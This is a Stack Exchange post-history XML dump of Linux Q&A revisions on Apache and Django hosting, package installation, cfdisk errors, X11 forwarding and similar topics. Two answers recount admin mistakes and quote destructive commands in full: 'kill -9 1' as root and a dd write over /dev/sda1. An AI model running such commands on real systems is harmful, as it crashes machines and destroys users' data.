  <row Id="14074" PostHistoryTypeId="5" PostId="6196" RevisionGUID="cde368d1-9cb7-4f99-8a0f-48ae15d44e44" CreationDate="2011-01-20T18:14:16.347" UserId="4020" Comment="deleted 34 characters in body; added 4 characters in body" Text=" Forgive me I may not have all the terminology correct but... I'm having a strange problem. I'm working in a Red Hat virtual machine, and I am working on a local version of a site in Django (using python manage.py 0.0.0.0:8080), and also have &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt; installed on the site.  I also downloaded Drupal and Wordpress, for unrelated reasons. All of these were located in my /var/www/html/ folder and the only problem I had was that to access Django I had to make it a sub-directory of Wordpress. Today, however, when I go to redHatIP I see the following error messagE:  &#xD;&#xA;&#xD;&#xA; The requested URL / was not found on this server.  &#xD;&#xA;&#xD;&#xA; This appears for anything -except- the Django site, through redHatIP:8080. This includes Mint, which I accessed with redHatIP/mint. &#xD;&#xA;   &#xD;&#xA;I assume I must have accidentally changed a setting somewhere without realizing it which is causing the problem, but I am unable to get it working on my own, nor have I had much luck with the web.               &#xD;&#xA;&#xD;&#xA;A couple other things to mention: The problem appears to have started when I first went on today, and for some reason Drupal was now accessed through redHatIP, and I could not access wordpress. Turns out there was another drupal folder now located in /var/www/. I assume this is just how it installs, and I never noticed it the day before. I moved wordpress into that, and was able to access it than (but with several errors). So I know redHatIP was accessing this django folder for some reason now. I removed drupal and wordpress, than re-downloaded them, and -that- is when I was no longer able to access anything other than the site located at redHatIP:8080.&#xD;&#xA;  &#xD;&#xA;  I've been unable to find a solution online, nor have I been able to solve it myself. Any ideas?&#xD;&#xA;" />
  <row Id="14075" PostHistoryTypeId="5" PostId="6162" RevisionGUID="9328066a-6aca-46e3-8175-c7cea9455d09" CreationDate="2011-01-20T18:19:58.977" UserId="1207" Comment="added 114 characters in body" Text="Compare&#xD;&#xA;&#xD;&#xA;    echo -n &quot;bar&quot;&#xD;&#xA;    &#xD;&#xA;with&#xD;&#xA;&#xD;&#xA;    echo &quot;bar&quot; -n&#xD;&#xA;&#xD;&#xA;The former does what *I* think it's supposed to do (prints &quot;bar&quot; without a newline), while the latter doesn't. Is this a bug or by design? Why is it different than many cli programs in that you can't move the options around? For example, `tail -f /var/log/messages` is exactly the same as `tail /var/log/messages -f`. I sometimes do the latter when I forget I wanted the former, because internally the options and arguments are rearranged, usually by [getopt][1].&#xD;&#xA;&#xD;&#xA;**Update:** yes I originally nerf-ed my question. I removed the nerf you'll have to view history to make some of the answers make sense.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/s/libc/manual/html_node/Getopt.html" />
  <row Id="14076" PostHistoryTypeId="2" PostId="6200" RevisionGUID="afa076ed-c9e2-470f-ae33-3869070c96be" CreationDate="2011-01-20T18:24:25.913" UserId="3482" Text="Check if you have `yum` installed by typing `yum --version` in your terminal prompt. If you get something with a version number then you have it installed.&#xD;&#xA;&#xD;&#xA;`sudo yum install python` - should install python.&#xD;&#xA;&#xD;&#xA;Likewise, `sudo yum install mercurial` - should install mercurial.&#xD;&#xA;&#xD;&#xA;**EDIT:** In case if you are not comfortable with command line method, open up the package manager and search for both of them and install it that way. My guess is you don't have to download the rpm and install python or mercurial. It should be available with the distro package manager itself." />
  <row Id="14077" PostHistoryTypeId="2" PostId="6201" RevisionGUID="b17bc5db-3c00-4351-8724-f9bcb4ff8387" CreationDate="2011-01-20T18:25:42.437" UserId="4024" Text="I am manually building apache-2.2.17 fromthe source. Just to make sure I have got the connfiguration options right, I checked the latest CENTOS apache srpm ( which is for apache-2.2.3). In the httpd.spec I find this line&#xD;&#xA;&#xD;&#xA;# forcibly prevent use of bundled apr, apr-util, pcre&#xD;&#xA;rm -rf srclib/{apr,apr-util,pcre}&#xD;&#xA;&#xD;&#xA;Was wondering why this is required ? Whats wrong with using the apr included within apache ?" />
  <row Id="14078" PostHistoryTypeId="1" PostId="6201" RevisionGUID="b17bc5db-3c00-4351-8724-f9bcb4ff8387" CreationDate="2011-01-20T18:25:42.437" UserId="4024" Text="Why does the Centos apache-2.2.3 rpm remove the bundled apr,apr-util,pcre ?" />
  <row Id="14079" PostHistoryTypeId="3" PostId="6201" RevisionGUID="b17bc5db-3c00-4351-8724-f9bcb4ff8387" CreationDate="2011-01-20T18:25:42.437" UserId="4024" Text="écentosàéapacheà" />
  <row Id="14080" PostHistoryTypeId="5" PostId="6201" RevisionGUID="2962df5d-a86e-4bb9-968f-c76b06c5624f" CreationDate="2011-01-20T18:29:09.420" UserId="3069" Comment="added 8 characters in body" Text="I am manually building apache-2.2.17 from the source. Just to make sure I have  the configuration options right, I checked the latest CENTOS apache srpm (which is for apache-2.2.3). In the httpd.spec I find this line:&#xD;&#xA;&#xD;&#xA;    # forcibly prevent use of bundled apr, apr-util, pcre&#xD;&#xA;    rm -rf srclib/{apr,apr-util,pcre}&#xD;&#xA;&#xD;&#xA;I was wondering why this is required ? What's wrong with using the apr included within apache ?" />
  <row Id="14081" PostHistoryTypeId="2" PostId="6202" RevisionGUID="d0bc2c64-e062-474d-bfcd-b9d32f0b7d55" CreationDate="2011-01-20T18:32:12.803" UserId="3976" Text="That's there because the apache RPM spec file has a &quot;BuildRequire&quot; for apr-devel, apr-util-devel and pcre-devel packages, and the packager wanted the build to use the packaged version rather than what's bundled in the apache tarball." />
  <row Id="14082" PostHistoryTypeId="2" PostId="6203" RevisionGUID="c68fe23f-b8fa-42b0-ad11-5a654cc9748a" CreationDate="2011-01-20T18:36:58.417" UserId="1627" Text="They are packaged together for convenience to the user. In a distro-maintened system, there are many other software that uses apr, apr-util and pcre, and it makes sense to install them separately. Installing them separately saves memory (because you have only one copy of the library functions and data in memory) and is easier to upgrade (specially for security updates), since you don't have to redownload and reinstall all software that embedded those libraries." />
  <row Id="14083" PostHistoryTypeId="5" PostId="6190" RevisionGUID="ab8cbe21-c20c-402d-8bb4-060f408723a9" CreationDate="2011-01-20T18:38:11.957" UserId="3976" Comment="Added another disadvantage" Text="Both upstart and systemd are attempts to solve some of the problems with the limitations of the traditional SysV init system.  For example, some services need to start after other services (for example, you can't mount NFS filesystems until the network is running), but the only way in SysV to handle that is to set the links in the rc#.d directory such that one is before the other.  Add to that, you might need to re-number everything later when dependencies are added or changed.  Upstart and Systemd have more intelligent settings for defining requirements.  Also, there's the issue with the fact that everything is a shell script of some sort, and not everyone writes the best init scripts.  That also impacts the speed of the startup.&#xD;&#xA;&#xD;&#xA;Some of the advantages of systemd I can see:&#xD;&#xA;&#xD;&#xA; - Every process started gets its own cgroup or a particular cgroup.&#xD;&#xA; - Pre-creation of sockets and file handles for services, similar to how xinetd does for it's services, allowing dependent services to start faster.  For example, systemd will hold open the filehandle for /dev/log for syslog, and subsequent services that send to /dev/log will have their messages buffered until syslogd is ready to take over.&#xD;&#xA; - Fewer processes run to actually start a service.  This means you aren't writing a shell script to start up your service.  This can be a speed improvement, and (IMO) something easier to set up in the first place.&#xD;&#xA;&#xD;&#xA;Disadvantages:&#xD;&#xA; - Written by the same guy who wrote PulseAudio.  Some people don't like that.&#xD;&#xA;&#xD;&#xA;***edit*** Another disadvantage is that to take advantage of systemd's socket/FH preallocation, many daemons will have to be patched to have the FH passed to them by systemd." />
  <row Id="14084" PostHistoryTypeId="5" PostId="6199" RevisionGUID="6afd4af6-ea08-4c7e-a376-0939518106a0" CreationDate="2011-01-20T18:41:27.257" UserId="3069" Comment="added 7 characters in body; edited tags; edited title" Text="Hi &#xD;&#xA;I need to install mercurial on my opensuse but I couldn't find the rpm so I just download mercurial.rpm and wanted to install it by using: &#xD;&#xA;&#xD;&#xA;    sudo zypper ...&#xD;&#xA;&#xD;&#xA;but it said to need python 2.6 so I downloaded python 2.6.0 and did the same but it said that needs the previous versions and the process failed. I really don't know why it happens. My question is that, am I going the wrong way or do I forget something? I'm a beginner so please give me details. Any help would be appreciated.   &#xD;&#xA;" />
  <row Id="14085" PostHistoryTypeId="4" PostId="6199" RevisionGUID="6afd4af6-ea08-4c7e-a376-0939518106a0" CreationDate="2011-01-20T18:41:27.257" UserId="3069" Comment="added 7 characters in body; edited tags; edited title" Text="How to upgrade python on openSUSE" />
  <row Id="14086" PostHistoryTypeId="6" PostId="6199" RevisionGUID="6afd4af6-ea08-4c7e-a376-0939518106a0" CreationDate="2011-01-20T18:41:27.257" UserId="3069" Comment="added 7 characters in body; edited tags; edited title" Text="éopensuseàépythonà" />
  <row Id="14087" PostHistoryTypeId="12" PostId="6196" RevisionGUID="14f6f3f7-a461-448e-a47e-2ebb5e6678a7" CreationDate="2011-01-20T18:47:16.727" UserId="4020" Text="[{&quot;Id&quot;:4020,&quot;DisplayName&quot;:&quot;user4020&quot;}]" />
  <row Id="14088" PostHistoryTypeId="13" PostId="6196" RevisionGUID="7dbb6a5c-5c07-4fc3-bfef-6480f9e0cb4d" CreationDate="2011-01-20T18:47:20.957" UserId="4020" Text="[{&quot;Id&quot;:4020,&quot;DisplayName&quot;:&quot;user4020&quot;}]" />
  <row Id="14089" PostHistoryTypeId="4" PostId="6199" RevisionGUID="78cb523c-a67c-4235-b8c0-2941612bacbe" CreationDate="2011-01-20T18:47:26.783" UserId="3069" Comment="edited title" Text="How do I upgrade python on openSUSE?" />
  <row Id="14090" PostHistoryTypeId="12" PostId="6196" RevisionGUID="addc1024-66c8-474b-bd96-9a1d4c0c0693" CreationDate="2011-01-20T18:47:31.673" UserId="4020" Text="[{&quot;Id&quot;:4020,&quot;DisplayName&quot;:&quot;user4020&quot;}]" />
  <row Id="14091" PostHistoryTypeId="13" PostId="6196" RevisionGUID="8b7d59a8-6dc4-4582-8c69-0b62577ff43f" CreationDate="2011-01-20T18:47:41.330" UserId="4020" Text="[{&quot;Id&quot;:4020,&quot;DisplayName&quot;:&quot;user4020&quot;}]" />
  <row Id="14092" PostHistoryTypeId="2" PostId="6204" RevisionGUID="55b3efba-a463-437f-8185-066ddd35a320" CreationDate="2011-01-20T18:54:00.480" UserId="4025" Text="After setting up Wave in a Box on my Debian server, I started noticing strange things happening: I could no longer use sftp to transfer files, and even worse, I couldn't run any sudo commands! Thankfully, I could still `su` to root. When I checked `/etc/sudoers`, I found that it had been completely reset, with only the root user having sudoer permission.&#xD;&#xA;&#xD;&#xA;I don't think my server was hacked, since I'm running denyhosts to shut out any attempts. Any idea what could have caused `/etc/sudoers` and `/etc/ssh/sshd_config` to reset themselves?" />
  <row Id="14093" PostHistoryTypeId="1" PostId="6204" RevisionGUID="55b3efba-a463-437f-8185-066ddd35a320" CreationDate="2011-01-20T18:54:00.480" UserId="4025" Text="Why did my sudoers file suddenly reset itself?" />
  <row Id="14094" PostHistoryTypeId="3" PostId="6204" RevisionGUID="55b3efba-a463-437f-8185-066ddd35a320" CreationDate="2011-01-20T18:54:00.480" UserId="4025" Text="ésshàédebianàésudoà" />
  <row Id="14095" PostHistoryTypeId="2" PostId="6205" RevisionGUID="f71d042d-d872-4f7a-862e-538a19fb372e" CreationDate="2011-01-20T18:54:44.503" UserId="2180" Text="I would expect that my local X11 server and sshd X11 forwarding turned on is all that is needed for X11 over ssh to work, but I haven't been able to get it. Am I wrong about this? Does the remote system need an X11 server?" />
  <row Id="14096" PostHistoryTypeId="1" PostId="6205" RevisionGUID="f71d042d-d872-4f7a-862e-538a19fb372e" CreationDate="2011-01-20T18:54:44.503" UserId="2180" Text="Must an X11 server be installed for X11 forwarding over ssh to work?" />
  <row Id="14097" PostHistoryTypeId="3" PostId="6205" RevisionGUID="f71d042d-d872-4f7a-862e-538a19fb372e" CreationDate="2011-01-20T18:54:44.503" UserId="2180" Text="ésshàéx11à" />
  <row Id="14098" PostHistoryTypeId="5" PostId="6202" RevisionGUID="e2fd5fbb-930f-4b04-a81c-c8610fe4bc12" CreationDate="2011-01-20T18:55:15.170" UserId="3976" Comment="added 587 characters in body" Text="That's there because the apache RPM spec file has a &quot;BuildRequire&quot; for apr-devel, apr-util-devel and pcre-devel packages, and the packager wanted the build to use the packaged version rather than what's bundled in the apache tarball.&#xD;&#xA;&#xD;&#xA;For what it's worth, here's the change that was made to add that line, perhaps that'll help answer your question: [link text][1]&#xD;&#xA;&#xD;&#xA;That's an edit from 6 years ago, so it's not identical to a current package, but you can see elsewhere in the patch how using the apr-config from the packaged version of apr-devel is added.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pkgs.fedoraproject.org/gitweb/?p=httpd.git;a=blobdiff;f=httpd.spec;h=d5c988e20eaa8db6eb7b27666147e069d23827f6;hp=9f9c3d694ba65f6c69cdb89b37f6f78b4247c08f;hb=2d6a2e5261dd79b1fb2f32ead440dd0425582a75;hpb=d48e904fadabcf6c6e17de53310a6a67622b5b57" />
  <row Id="14099" PostHistoryTypeId="2" PostId="6206" RevisionGUID="1ee4a434-17c5-480a-b290-24a738f5858a" CreationDate="2011-01-20T19:02:11.187" UserId="1535" Text="I've picked up an HP SimpleSave sd500a backup drive.  This is a 2.5&quot;, 500GB drive.  It has a mysterious CD-like partition, but otherwise seems to contain a WD Scorpio Blue disk.  It seems that the CD-like partition is implemented in the enclosure's firmware, but I've no way to be certain of this.&#xD;&#xA;&#xD;&#xA;I'm repartitioning the drive for the first time.  When attempting to open the drive using `cfdisk /dev/sdb`, it exits with status 4 after outputting this error message:&#xD;&#xA;&#xD;&#xA;    FATAL ERROR: Bad primary partition 0: Partition ends in the final partial cylinder&#xD;&#xA;&#xD;&#xA;`sfdisk -l` is able to output info on the drive without errors:&#xD;&#xA;    &#xD;&#xA;    Disk /dev/sdb: 60715 cylinders, 255 heads, 63 sectors/track&#xD;&#xA;    Units = cylinders of 8225280 bytes, blocks of 1024 bytes, counting from 0&#xD;&#xA;    &#xD;&#xA;       Device Boot Start     End   #cyls    #blocks   Id  System&#xD;&#xA;    /dev/sdb1          0+  60715-  60716- 487699456    7  HPFS/NTFS&#xD;&#xA;    /dev/sdb2          0       -       0          0    0  Empty&#xD;&#xA;    /dev/sdb3          0       -       0          0    0  Empty&#xD;&#xA;    /dev/sdb4          0       -       0          0    0  Empty&#xD;&#xA;&#xD;&#xA;Is the error from `cfdisk` any reason to question the stability of the drive or the compatibility of its firmware?" />
  <row Id="14100" PostHistoryTypeId="1" PostId="6206" RevisionGUID="1ee4a434-17c5-480a-b290-24a738f5858a" CreationDate="2011-01-20T19:02:11.187" UserId="1535" Text="Errors from cfdisk with new external USB backup drive" />
  <row Id="14101" PostHistoryTypeId="3" PostId="6206" RevisionGUID="1ee4a434-17c5-480a-b290-24a738f5858a" CreationDate="2011-01-20T19:02:11.187" UserId="1535" Text="épartitionàéfdiskàésfdiskàécfdiskà" />
  <row Id="14102" PostHistoryTypeId="5" PostId="6196" RevisionGUID="75cf52ec-343f-4459-8f4d-081c1ac1172b" CreationDate="2011-01-20T19:03:28.737" UserId="4020" Comment="Made the question less terrible; deleted 4 characters in body" Text="Running into a strange problem. I have a local server running Red Hat on a virtual machine (accessed through putty). I'm using this server to work on a website in Django, which I run with: &#xD;&#xA; &#xD;&#xA;python manage.py runserver 0.0.0.0: 8080.   &#xD;&#xA;&#xD;&#xA;Now that works just fine, and I can access it through redHatIP:8080. However, I recently downloaded and installed Wordpress, Drupal, and &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt;. Mint was added to the original site, and I access it through redHatIP/mint. Wordpress and Drupal are completely unrelated to the original site, but are both located in /var/www/html (long with the original site located through my 8080 poty).&#xD;&#xA;&#xD;&#xA;I accessed drupal and wordpress through redHatIP/drupal and redhatIP respectively, and it was working just fine until today. For some reason when I go to redHatIP now I receive the following error in my internet browser:  &#xD;&#xA;&#xD;&#xA;The requested URL / was not found on this server.  &#xD;&#xA;&#xD;&#xA;If I go to redHatIP/drupal I recieved The requested URL /drupal was not found on this server, to redHatIP/anything I recieve The requested URL /anything was not found on this server et cetera. This applies to Mint as well, which I access through redHatIP/mint. However, I can still access the original site through redHatIP:8080, and that works just fine.  &#xD;&#xA;&#xD;&#xA;I completely removed Django and wordpress, than downloaded them again. I tried having just one of them located in /var/www/html/, but that did nothing. I tried moving them to /var/www/, but that also did nothing.   &#xD;&#xA;&#xD;&#xA;When I go to my error log messages in /pwd/log/httpd/error_log It has the following message: _default_ VirtualHost overlap on port 80, the first has precedence. However this was reported the day -before- all this happened, when I had both Django and Wordpress together, and there was not been any messages since. &#xD;&#xA;&#xD;&#xA;I have been unable to fix this on my own, nor have I found a solution on the net. Any ideas? Any other information that would help understand the problem? et cetera?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14103" PostHistoryTypeId="4" PostId="6196" RevisionGUID="75cf52ec-343f-4459-8f4d-081c1ac1172b" CreationDate="2011-01-20T19:03:28.737" UserId="4020" Comment="Made the question less terrible; deleted 4 characters in body" Text="Unable to find Red Hat Server" />
  <row Id="14108" PostHistoryTypeId="2" PostId="6208" RevisionGUID="4d7f57a8-8de0-4a9a-82f1-92a713886fd2" CreationDate="2011-01-20T19:25:50.620" UserId="3976" Text="You don't need an X server on the remote side of the X session, but you will need xauth, which is usually included in an X-related package (xorg-x11-xauth in RHEL and Fedora).  If you want to run any programs that use X libraries (or libraries that require the X libraries), you'll need X libraries on the remote end to execute those programs." />
  <row Id="14110" PostHistoryTypeId="2" PostId="6209" RevisionGUID="f68f459d-18f8-4105-953d-6baf8107ff73" CreationDate="2011-01-20T19:30:32.770" UserId="3069" Text="`cfdisk` reads the partition table of the device at startup, it will exit if the geometry of a partition is wrong. You can force `cfdisk` to not read the existing partition table by adding `-z`:&#xD;&#xA;&#xD;&#xA;    cfdisk -z /dev/sdb&#xD;&#xA;&#xD;&#xA;This is a `cfdisk` specific behavior, `fdisk` will show a similar error but won't exit. The stability of the drive is not affected, it's just a partition issue.&#xD;&#xA;&#xD;&#xA;Alternatively use a partition tool like `fdisk`, `parted` or `gparted`." />
  <row Id="14111" PostHistoryTypeId="2" PostId="6210" RevisionGUID="628d5354-4be0-4a65-af39-a91a16accf9a" CreationDate="2011-01-20T19:33:16.267" UserId="688" Text="Supposing there isn't anything of value in there, remove the partitions and create a new one (either ext3 or ext4), and run `e2fsck -c` on it to check if it has bad blocks. If that passes, and you happen to be paranoid, run  `e2fsck -cc` to do a more thorough (and much looonger) test." />
  <row Id="14112" PostHistoryTypeId="2" PostId="6211" RevisionGUID="9dd15e46-0427-4cbe-bfc5-e56e1de53cb5" CreationDate="2011-01-20T19:52:03.160" UserId="3990" Text="It was a d3d bug added in the partial fix to the 1.3.7 crashing in that same application, I compiled 1.2.2 and it now works." />
  <row Id="14113" PostHistoryTypeId="25" PostId="6205" RevisionGUID="febdcba7-3ee5-43cc-ac31-ed95e869c9fc" CreationDate="2011-01-20T19:55:44.900" Comment="http://twitter.com/#!/StackUnix/status/28178886764273664" />
  <row Id="14114" PostHistoryTypeId="5" PostId="6209" RevisionGUID="27cef754-300c-4407-8d96-2b20efc450a0" CreationDate="2011-01-20T20:02:40.637" UserId="3069" Comment="added 137 characters in body" Text="`cfdisk` reads the partition table of the device at startup, it will exit if the geometry of a partition is wrong. You can force `cfdisk` to not read the existing partition table by adding `-z`:&#xD;&#xA;&#xD;&#xA;    cfdisk -z /dev/sdb&#xD;&#xA;&#xD;&#xA;This is a `cfdisk` specific behavior, `fdisk` will show a similar error but won't exit. The stability of the drive is not affected, it's just a partition issue.&#xD;&#xA;&#xD;&#xA;Alternatively use a partition tool like `fdisk`, `parted` or `gparted`.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;I've just checked my own partition and the first one (`/boot`) also reported this error. I never had any problems with it.&lt;/sub&gt;" />
  <row Id="14115" PostHistoryTypeId="5" PostId="6200" RevisionGUID="eb76b19a-4981-4717-b37d-ba1fd1eafe0c" CreationDate="2011-01-20T20:31:55.023" UserId="3482" Comment="added 423 characters in body" Text="Check if you have `yum` installed by typing `yum --version` in your terminal prompt. If you get something with a version number then you have it installed.&#xD;&#xA;&#xD;&#xA;`sudo yum install python` - should install python.&#xD;&#xA;&#xD;&#xA;Likewise, `sudo yum install mercurial` - should install mercurial.&#xD;&#xA;&#xD;&#xA;**EDIT-1:** In case if you are not comfortable with command line method, open up the package manager and search for both of them and install it that way. My guess is you don't have to download the rpm and install python or mercurial. It should be available with the distro package manager itself.&#xD;&#xA;&#xD;&#xA;**EDIT-2:** If you want to search for a package use - `yum search &lt;insert-package-name-here&gt;`. If you don't know the full package name you can just use a part of the package name. &#xD;&#xA;&#xD;&#xA;Other command is `yum whatprovides &lt;package-name&gt;`. For more commands refer [here][1] and [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://yum.baseurl.org/wiki/YumCommands&#xD;&#xA;  [2]: http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/" />
  <row Id="14116" PostHistoryTypeId="2" PostId="6212" RevisionGUID="94c28ccc-755a-441a-95eb-fdd4762a183e" CreationDate="2011-01-20T20:35:37.317" UserId="1931" Text="As root on Solaris,&#xD;&#xA;&#xD;&#xA;    $ kill -9 1&#xD;&#xA;...and everything went down.&#xD;&#xA;&#xD;&#xA;My friend got fired because of this." />
  <row Id="14117" PostHistoryTypeId="2" PostId="6213" RevisionGUID="2379a94b-591d-4c6f-969d-31588193badd" CreationDate="2011-01-20T20:45:48.507" UserId="2231" Text="I have a [custom ZLE widget][1] for this, just drop it somewhere in a directory in `$fpath`. You can then configure it [this way][2].&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/nicoulaj/dotfiles/blob/7a37acd50401a235d6dec6327cd5b2224d704b72/zsh/comp.d/ZLE/rationalize-dots&#xD;&#xA;  [2]: https://github.com/nicoulaj/dotfiles/blob/7a37acd50401a235d6dec6327cd5b2224d704b72/zsh/conf.d/04_ZLE.zsh#L39" />
  <row Id="14118" PostHistoryTypeId="2" PostId="6214" RevisionGUID="d0424067-c511-4059-ba88-f9ee361dee3f" CreationDate="2011-01-20T20:54:29.670" UserId="2231" Text="You can do add your completer to the list of completers used by default:&#xD;&#xA;&#xD;&#xA;    zstyle ':completion:*' completer _last_command_args _complete&#xD;&#xA;" />
  <row Id="14119" PostHistoryTypeId="5" PostId="6201" RevisionGUID="56846a64-9718-4963-89ec-3b707db227c1" CreationDate="2011-01-20T20:57:58.467" UserId="4024" Comment="added 16 characters in body; edited title" Text="I am manually building httpd-2.2.17 from the source. Just to make sure I have  the configuration options right, I checked the latest CENTOS apache srpm (which is for httpd-2.2.3). In the httpd.spec I find this line:&#xD;&#xA;&#xD;&#xA;    # forcibly prevent use of bundled apr, apr-util, pcre&#xD;&#xA;    rm -rf srclib/{apr,apr-util,pcre}&#xD;&#xA;&#xD;&#xA;I was wondering why this is required ? What's wrong with using the apr included within the default httpd source ?" />
  <row Id="14120" PostHistoryTypeId="4" PostId="6201" RevisionGUID="56846a64-9718-4963-89ec-3b707db227c1" CreationDate="2011-01-20T20:57:58.467" UserId="4024" Comment="added 16 characters in body; edited title" Text="Why does the Centos apache httpd-2.2.3 rpm remove the bundled apr,apr-util,pcre ?" />
  <row Id="14121" PostHistoryTypeId="2" PostId="6215" RevisionGUID="ad3f2877-7c92-4a22-be63-0ea11516d73b" CreationDate="2011-01-20T21:29:03.280" UserId="3635" Text="Last year, a colleague of mine was using one of our linux workstations to create copies of flash disks using the `dd` command. He accidentally typed something similar to the following:&#xD;&#xA;&#xD;&#xA;    dd if=flash-image.img of=/dev/sda1&#xD;&#xA;&#xD;&#xA;By the time he realized his mistake - overwriting the machine's hard disk instead of the flash drive - the machine was already hosed. We had to rebuild the box, which incidentally was also the machine hosting all of our development VM's at the time..." />
  <row Id="14122" PostHistoryTypeId="6" PostId="6191" RevisionGUID="8dcc6b8a-f9fb-42e1-8bfe-57d9e59fba17" CreationDate="2011-01-20T21:42:38.287" UserId="885" Comment="edited tags" Text="élinuxàékernelàétcpà" />
  <row Id="14123" PostHistoryTypeId="6" PostId="1910" RevisionGUID="b0cb85d3-ccb7-4880-bb39-97cde0a91240" CreationDate="2011-01-20T21:44:05.323" UserId="885" Comment="edited tags" Text="édirectoryàéfilenamesà" />
  <row Id="14124" PostHistoryTypeId="6" PostId="6186" RevisionGUID="11cace3e-fbe8-4638-932a-eb162b332d5b" CreationDate="2011-01-20T21:47:58.280" UserId="885" Comment="edited tags" Text="élibrariesàédynamicölinkingàéelfà" />
  <row Id="14125" PostHistoryTypeId="6" PostId="6179" RevisionGUID="23415628-1d89-44bb-84f4-12c65d941afc" CreationDate="2011-01-20T21:59:44.007" UserId="885" Comment="edited tags" Text="éamarokà" />
  <row Id="14126" PostHistoryTypeId="2" PostId="6216" RevisionGUID="9d4041ff-df2b-43cb-a56d-0d81bcf900d3" CreationDate="2011-01-20T22:23:49.823" UserId="4029" Text="Hey, &#xD;&#xA;&#xD;&#xA;I'm trying to install some software from the command line.  There is a file called &quot;config.sub&quot;.  Am I supposed to use this for something? &#xD;&#xA;&#xD;&#xA;I haven't been able yet to find out by searching online what this file is supposed to do. I think part of the deal is I don't know how to ask the question correctly. " />
  <row Id="14127" PostHistoryTypeId="1" PostId="6216" RevisionGUID="9d4041ff-df2b-43cb-a56d-0d81bcf900d3" CreationDate="2011-01-20T22:23:49.823" UserId="4029" Text="What is the function/point of &quot;config.sub&quot; " />
  <row Id="14128" PostHistoryTypeId="3" PostId="6216" RevisionGUID="9d4041ff-df2b-43cb-a56d-0d81bcf900d3" CreationDate="2011-01-20T22:23:49.823" UserId="4029" Text="élinuxàécommandölineàéshellàéinstallàésoftwareöinstallationà" />
  <row Id="14129" PostHistoryTypeId="2" PostId="6217" RevisionGUID="2f674b61-ebc8-467e-8f71-07c32aa4fc12" CreationDate="2011-01-20T22:31:28.637" UserId="3069" Text="Modern Linux distributions include a package manager to resolve dependencies and provide a repository with software packages, thus avoid problems like you've just encountered.&#xD;&#xA;&#xD;&#xA;On openSUSE you generally have a choice of methods to install a .rpm package. Either on the command-line with `zypper`, `yast`, (if available `yum`) or over the graphical frontend YaST.  &#xD;&#xA;Note, that you have to append `sudo` to the following commands, or issue them as root.&#xD;&#xA;&#xD;&#xA;**zypper**&#xD;&#xA;&#xD;&#xA;    zypper install python mercurial&#xD;&#xA;&#xD;&#xA;**yum**&#xD;&#xA;&#xD;&#xA;    yum install python mercurial&#xD;&#xA;&#xD;&#xA;**yast**&#xD;&#xA;&#xD;&#xA;`yast` provides an interactive console based GUI on which you can search and install software packages.&#xD;&#xA;&#xD;&#xA;If you have a graphical frontend, you can also find YaST as a GUI in the menu.&#xD;&#xA;&#xD;&#xA;All those package managers include the capability of searching for packages, so the next time you need one, use `yast` or the command `search`.  &#xD;&#xA;As an example:&#xD;&#xA;&#xD;&#xA;    zypper search perl&#xD;&#xA;&#xD;&#xA;will search and display all available `perl` packages.&#xD;&#xA;&#xD;&#xA;If you just want to install one (or more) locally available .rpm packages, you can simply use the given tool `rpm`.&#xD;&#xA;&#xD;&#xA;    rpm -i mercurial-1.5-3.1.x86_64.rpm&#xD;&#xA;&#xD;&#xA;As you already saw, this will only work if all the dependencies are already installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See [here][1] for more information about package management on openSUSE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.opensuse.org/Package_management" />
  <row Id="14130" PostHistoryTypeId="2" PostId="6218" RevisionGUID="f97f4178-7879-4db5-a896-59c0b717c1e2" CreationDate="2011-01-20T22:35:04.877" UserId="305" Text="config.sub is one of files generated by autoconf. [Autoconf documentations][1] states that it converts system aliases into full canonical names.&#xD;&#xA;&#xD;&#xA;In short - you don't have to worry about it unless you're autoconf developer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/autoconf/manual/html_node/Specifying-Target-Triplets.html#index-g_t_0040command_007bconfig_002esub_007d-1837" />
  <row Id="14131" PostHistoryTypeId="5" PostId="2990" RevisionGUID="71f6e9b7-290e-42f5-9a9b-14ac7c845717" CreationDate="2011-01-20T22:37:10.280" UserId="3097" Comment="removed signature" Text="The first time I installed GNU Linux on my desktop... I installed Debian, no help, I only installed the basic system, no GUI... and I was like: &#xD;&#xA;&#xD;&#xA;&quot;*OMFG OMFG WHAT I HAVE TO DO NOW?... I will need to back to **Windows***&quot; &#xD;&#xA;&#xD;&#xA;but then I remembered how to install packages (*first time in GNU Linux, only a jose@debian:$ output and only readed some things from Debian*) and the name of an **IRC Client: IRSSI** and the name: **GNOME** and then I installed them... since that day, **I install IRSSI and GNOME in every machine**...&#xD;&#xA;&#xD;&#xA;It feels... good being experimenting with your computer xD&#xD;&#xA;" />
  <row Id="14132" PostHistoryTypeId="25" PostId="6216" RevisionGUID="71e36596-a974-40af-b82b-c5ca7d46c7d9" CreationDate="2011-01-20T22:55:44.657" Comment="http://twitter.com/#!/StackUnix/status/28224184140173312" />
  <row Id="14133" PostHistoryTypeId="2" PostId="6219" RevisionGUID="96fc8108-a21c-45e2-b020-a70d15e83693" CreationDate="2011-01-20T23:10:47.283" UserId="2150" Text="My strategy was to go through the tutorial, and after that just google all the time.  Now it seems time to go through the elisp manual; problems I have these days do seem to require knowing more about that.&#xD;&#xA;&#xD;&#xA;(let me sneak in a recommendation for org-mode at http://org-mode.org)" />
  <row Id="14134" PostHistoryTypeId="2" PostId="6220" RevisionGUID="4ca45b0d-0aab-41df-b3f1-bd640c25c8f8" CreationDate="2011-01-20T23:32:07.823" UserId="1068" Text="I've installed chromium, but it deeply sucks that it uses my mother tongue (german) in its UI and for websites by default. &#xD;&#xA;&#xD;&#xA;I want the english back, like firefox did. I'm using archlinux's default packages. I looked into the settings dialogs, but I found nothing useful. " />
